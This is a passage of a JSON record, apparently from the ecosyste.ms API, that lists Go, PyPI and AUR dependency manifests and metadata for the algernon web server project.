false},{"id":6959974507,"package_name":"go.etcd.io/bbolt","ecosystem":"go","requirements":"v1.3.4","direct":false,"kind":"runtime","optional":false},{"id":6959974508,"package_name":"go.etcd.io/bbolt","ecosystem":"go","requirements":"v1.3.6","direct":false,"kind":"runtime","optional":false},{"id":6959974511,"package_name":"go.uber.org/atomic","ecosystem":"go","requirements":"v1.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974514,"package_name":"go.uber.org/atomic","ecosystem":"go","requirements":"v1.10.0","direct":false,"kind":"runtime","optional":false},{"id":6959974516,"package_name":"go.uber.org/goleak","ecosystem":"go","requirements":"v1.1.11","direct":false,"kind":"runtime","optional":false},{"id":6959974518,"package_name":"go.uber.org/goleak","ecosystem":"go","requirements":"v1.1.12","direct":false,"kind":"runtime","optional":false},{"id":6959974521,"package_name":"go.uber.org/multierr","ecosystem":"go","requirements":"v1.6.0","direct":false,"kind":"runtime","optional":false},{"id":6959974540,"package_name":"go.uber.org/multierr","ecosystem":"go","requirements":"v1.9.0","direct":false,"kind":"runtime","optional":false},{"id":6959974541,"package_name":"go.uber.org/zap","ecosystem":"go","requirements":"v1.21.0","direct":false,"kind":"runtime","optional":false},{"id":6959974542,"package_name":"go.uber.org/zap","ecosystem":"go","requirements":"v1.24.0","direct":false,"kind":"runtime","optional":false},{"id":6959974543,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20190308221718-c2843e01d9a2","direct":false,"kind":"runtime","optional":false},{"id":6959974544,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20190605123033-f99c8df09eb5","direct":false,"kind":"runtime","optional":false},{"id":6959974546,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20190611184440-5c40567a22f8","direct":false,"kind":"runtime","optional":false},{"id":6959974548,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20191011191535-87dc89f01550","direct":false,"kind":"runtime","optional":false},{"id":6959974549,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20200323165209-0ec3e9974c59","direct":false,"kind":"runtime","optional":false},{"id":6959974551,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20200622213623-75b288015ac9","direct":false,"kind":"runtime","optional":false},{"id":6959974553,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20201016220609-9e8e0b390897","direct":false,"kind":"runtime","optional":false},{"id":6959974556,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20210711020723-a769d52b0f97","direct":false,"kind":"runtime","optional":false},{"id":6959974557,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20211117183948-ae814b36b871","direct":false,"kind":"runtime","optional":false},{"id":6959974559,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20211202192323-5770296d904e","direct":false,"kind":"runtime","optional":false},{"id":6959974562,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20220427172511-eb4f295cb31f","direct":false,"kind":"runtime","optional":false},{"id":6959974563,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.0.0-20220622213112-05595931fe9d","direct":false,"kind":"runtime","optional":false},{"id":6959974566,"package_name":"golang.org/x/crypto","ecosystem":"go","requirements":"v0.5.0","direct":false,"kind":"runtime","optional":false},{"id":6959974569,"package_name":"golang.org/x/exp","ecosystem":"go","requirements":"v0.0.0-20230113213754-f9f960f08ad4","direct":false,"kind":"runtime","optional":false},{"id":6959974570,"package_name":"golang.org/x/lint","ecosystem":"go","requirements":"v0.0.0-20190930215403-16217165b5de","direct":false,"kind":"runtime","optional":false},{"id":6959974574,"package_name":"golang.org/x/mod","ecosystem":"go","requirements":"v0.4.2","direct":false,"kind":"runtime","optional":false},{"id":6959974576,"package_name":"golang.org/x/mod","ecosystem":"go","requirements":"v0.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974579,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20190311183353-d8887717615a","direct":false,"kind":"runtime","optional":false},{"id":6959974582,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20190404232315-eb5bcb51f2a3","direct":false,"kind":"runtime","optional":false},{"id":6959974584,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20190503192946-f4e77d36d62c","direct":false,"kind":"runtime","optional":false},{"id":6959974587,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20190603091049-60506f45cf65","direct":false,"kind":"runtime","optional":false},{"id":6959974589,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20190620200207-3b0461eec859","direct":false,"kind":"runtime","optional":false},{"id":6959974592,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20190813141303-74dc4d7220e7","direct":false,"kind":"runtime","optional":false},{"id":6959974595,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20210226172049-e18ecbb05110","direct":false,"kind":"runtime","optional":false},{"id":6959974598,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20210405180319-a5a99cb37ef4","direct":false,"kind":"runtime","optional":false},{"id":6959974599,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20210610132358-84b48f89b13b","direct":false,"kind":"runtime","optional":false},{"id":6959974602,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20210726213435-c6fcb2dbf985","direct":false,"kind":"runtime","optional":false},{"id":6959974603,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20211112202133-69e39bad7dc2","direct":false,"kind":"runtime","optional":false},{"id":6959974605,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20220630215102-69896b714898","direct":false,"kind":"runtime","optional":false},{"id":6959974607,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.5.0","direct":false,"kind":"runtime","optional":false},{"id":6959974609,"package_name":"golang.org/x/sync","ecosystem":"go","requirements":"v0.0.0-20190423024810-112230192c58","direct":false,"kind":"runtime","optional":false},{"id":6959974611,"package_name":"golang.org/x/sync","ecosystem":"go","requirements":"v0.0.0-20210220032951-036812b2e83c","direct":false,"kind":"runtime","optional":false},{"id":6959974613,"package_name":"golang.org/x/sync","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974616,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190215142949-d0b11bdaac8a","direct":false,"kind":"runtime","optional":false},{"id":6959974619,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190219092855-153ac476189d","direct":false,"kind":"runtime","optional":false},{"id":6959974622,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190222072716-a9d3bda3a223","direct":false,"kind":"runtime","optional":false},{"id":6959974630,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190412213103-97732733099d","direct":false,"kind":"runtime","optional":false},{"id":6959974632,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190422165155-953cdadca894","direct":false,"kind":"runtime","optional":false},{"id":6959974634,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190606165138-5da285871e9c","direct":false,"kind":"runtime","optional":false},{"id":6959974638,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190618155005-516e3c20635f","direct":false,"kind":"runtime","optional":false},{"id":6959974642,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20190813064441-fde4db37ae7a","direct":false,"kind":"runtime","optional":false},{"id":6959974645,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20200106162015-b016eb3dc98e","direct":false,"kind":"runtime","optional":false},{"id":6959974649,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20200116001909-b77594299b42","direct":false,"kind":"runtime","optional":false},{"id":6959974651,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20200202164722-d101bd2416d5","direct":false,"kind":"runtime","optional":false},{"id":6959974654,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20200323222414-85ca7c5b95cd","direct":false,"kind":"runtime","optional":false},{"id":6959974656,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20200909081042-eff7692f9009","direct":false,"kind":"runtime","optional":false},{"id":6959974662,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20200923182605-d9f96fdee20d","direct":false,"kind":"runtime","optional":false},{"id":6959974663,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20201119102817-f84b799fce68","direct":false,"kind":"runtime","optional":false},{"id":6959974666,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210330210617-4fbd30eecc44","direct":false,"kind":"runtime","optional":false},{"id":6959974667,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210423082822-04245dca01da","direct":false,"kind":"runtime","optional":false},{"id":6959974668,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210510120138-977fb7262007","direct":false,"kind":"runtime","optional":false},{"id":6959974671,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210615035016-665e8c7367d1","direct":false,"kind":"runtime","optional":false},{"id":6959974672,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210630005230-0f9fa26af87c","direct":false,"kind":"runtime","optional":false},{"id":6959974674,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210806184541-e5e7981a1069","direct":false,"kind":"runtime","optional":false},{"id":6959974676,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210927094055-39ccf1dd6fa6","direct":false,"kind":"runtime","optional":false},{"id":6959974678,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220114195835-da31bd327af9","direct":false,"kind":"runtime","optional":false},{"id":6959974679,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220310020820-b874c991c1a5","direct":false,"kind":"runtime","optional":false},{"id":6959974682,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220520151302-bc2c85ada10a","direct":false,"kind":"runtime","optional":false},{"id":6959974686,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220627191245-f75cf1eec38b","direct":false,"kind":"runtime","optional":false},{"id":6959974688,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220704084225-05e143d24a9e","direct":false,"kind":"runtime","optional":false},{"id":6959974708,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220715151400-c0bba94af5f8","direct":false,"kind":"runtime","optional":false},{"id":6959974710,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220811171246-fbc7d0a398ab","direct":false,"kind":"runtime","optional":false},{"id":6959974712,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20220908164124-27713097b956","direct":false,"kind":"runtime","optional":false},{"id":6959974715,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.4.0","direct":false,"kind":"runtime","optional":false},{"id":6959974717,"package_name":"golang.org/x/term","ecosystem":"go","requirements":"v0.0.0-20201126162022-7de9c90e9dd1","direct":false,"kind":"runtime","optional":false},{"id":6959974719,"package_name":"golang.org/x/term","ecosystem":"go","requirements":"v0.0.0-20210927222741-03fcf44c2211","direct":false,"kind":"runtime","optional":false},{"id":6959974721,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.3.0","direct":false,"kind":"runtime","optional":false},{"id":6959974736,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.3.2","direct":false,"kind":"runtime","optional":false},{"id":6959974739,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.3.3","direct":false,"kind":"runtime","optional":false},{"id":6959974741,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.3.6","direct":false,"kind":"runtime","optional":false},{"id":6959974742,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.3.7","direct":false,"kind":"runtime","optional":false},{"id":6959974744,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.6.0","direct":false,"kind":"runtime","optional":false},{"id":6959974746,"package_name":"golang.org/x/time","ecosystem":"go","requirements":"v0.3.0","direct":false,"kind":"runtime","optional":false},{"id":6959974748,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.0.0-20180917221912-90fa682c2a6e","direct":false,"kind":"runtime","optional":false},{"id":6959974750,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.0.0-20181221001348-537d06c36207","direct":false,"kind":"runtime","optional":false},{"id":6959974752,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.0.0-20190311212946-11955173bddd","direct":false,"kind":"runtime","optional":false},{"id":6959974754,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.0.0-20190606124116-d0a3d012864b","direct":false,"kind":"runtime","optional":false},{"id":6959974756,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.0.0-20191119224855-298f0cb1881e","direct":false,"kind":"runtime","optional":false},{"id":6959974758,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.1.1","direct":false,"kind":"runtime","optional":false},{"id":6959974760,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.1.5","direct":false,"kind":"runtime","optional":false},{"id":6959974762,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.1.6-0.20210726203631-07bc1bf47fb2","direct":false,"kind":"runtime","optional":false},{"id":6959974765,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.5.0","direct":false,"kind":"runtime","optional":false},{"id":6959974767,"package_name":"golang.org/x/xerrors","ecosystem":"go","requirements":"v0.0.0-20190717185122-a985d3407aa7","direct":false,"kind":"runtime","optional":false},{"id":6959974771,"package_name":"golang.org/x/xerrors","ecosystem":"go","requirements":"v0.0.0-20191011141410-1b5146add898","direct":false,"kind":"runtime","optional":false},{"id":6959974774,"package_name":"golang.org/x/xerrors","ecosystem":"go","requirements":"v0.0.0-20191204190536-9bdfabe68543","direct":false,"kind":"runtime","optional":false},{"id":6959974776,"package_name":"golang.org/x/xerrors","ecosystem":"go","requirements":"v0.0.0-20200804184101-5ec99f83aff1","direct":false,"kind":"runtime","optional":false},{"id":6959974778,"package_name":"google.golang.org/appengine","ecosystem":"go","requirements":"v1.6.1","direct":false,"kind":"runtime","optional":false},{"id":6959974780,"package_name":"google.golang.org/protobuf","ecosystem":"go","requirements":"v1.26.0-rc.1","direct":false,"kind":"runtime","optional":false},{"id":6959974782,"package_name":"google.golang.org/protobuf","ecosystem":"go","requirements":"v1.27.1","direct":false,"kind":"runtime","optional":false},{"id":6959974783,"package_name":"google.golang.org/protobuf","ecosystem":"go","requirements":"v1.28.0","direct":false,"kind":"runtime","optional":false},{"id":6959974785,"package_name":"gopkg.in/check.v1","ecosystem":"go","requirements":"v0.0.0-20161208181325-20d25e280405","direct":false,"kind":"runtime","optional":false},{"id":6959974787,"package_name":"gopkg.in/check.v1","ecosystem":"go","requirements":"v1.0.0-20180628173108-788fd7840127","direct":false,"kind":"runtime","optional":false},{"id":6959974789,"package_name":"gopkg.in/check.v1","ecosystem":"go","requirements":"v1.0.0-20201130134442-10cb98267c6c","direct":false,"kind":"runtime","optional":false},{"id":6959974791,"package_name":"gopkg.in/errgo.v2","ecosystem":"go","requirements":"v2.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974793,"package_name":"gopkg.in/gcfg.v1","ecosystem":"go","requirements":"v1.2.3","direct":false,"kind":"runtime","optional":false},{"id":6959974795,"package_name":"gopkg.in/go-playground/assert.v1","ecosystem":"go","requirements":"v1.2.1","direct":false,"kind":"runtime","optional":false},{"id":6959974797,"package_name":"gopkg.in/go-playground/validator.v8","ecosystem":"go","requirements":"v8.18.2","direct":false,"kind":"runtime","optional":false},{"id":6959974799,"package_name":"gopkg.in/mgo.v2","ecosystem":"go","requirements":"v2.0.0-20180705113604-9856a29383ce","direct":false,"kind":"runtime","optional":false},{"id":6959974800,"package_name":"gopkg.in/warnings.v0","ecosystem":"go","requirements":"v0.1.2","direct":false,"kind":"runtime","optional":false},{"id":6959974803,"package_name":"gopkg.in/yaml.v2","ecosystem":"go","requirements":"v2.2.2","direct":false,"kind":"runtime","optional":false},{"id":6959974805,"package_name":"gopkg.in/yaml.v2","ecosystem":"go","requirements":"v2.2.8","direct":false,"kind":"runtime","optional":false},{"id":6959974807,"package_name":"gopkg.in/yaml.v2","ecosystem":"go","requirements":"v2.4.0","direct":false,"kind":"runtime","optional":false},{"id":6959974809,"package_name":"gopkg.in/yaml.v3","ecosystem":"go","requirements":"v3.0.0-20200313102051-9f266ea9e77c","direct":false,"kind":"runtime","optional":false},{"id":6959974811,"package_name":"gopkg.in/yaml.v3","ecosystem":"go","requirements":"v3.0.0-20210107192922-496545a6307b","direct":false,"kind":"runtime","optional":false},{"id":6959974813,"package_name":"gopkg.in/yaml.v3","ecosystem":"go","requirements":"v3.0.1","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":"plugins/py/requirements.txt","sha":null,"kind":"manifest","created_at":"2023-01-16T22:16:50.836Z","updated_at":"2023-01-16T22:16:50.836Z","repository_link":"https://github.com/xyproto/algernon/blob/main/plugins/py/requirements.txt","dependencies":[{"id":6959976003,"package_name":"python-jsonrpc","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6959976004,"package_name":"pyjsonrpc","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"alpm","filepath":"system/aur/PKGBUILD","sha":null,"kind":"manifest","created_at":"2026-01-26T15:15:46.343Z","updated_at":"2026-01-26T15:15:46.343Z","repository_link":"https://github.com/xyproto/algernon/blob/main/system/aur/PKGBUILD","dependencies":[{"id":25804599909,"package_name":"go","ecosystem":"alpm","requirements":"*","direct":true,"kind":"build","optional":false}]}],"score":14.59787667705585,"created_at":"2025-12-20T00:57:21.548Z","updated_at":"2026-06-01T08:30:27.735Z","avatar_url":"https://github.com/xyproto.png","language":"JavaScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/369887","html_url":"https://summary.ecosyste.ms/projects/369887"}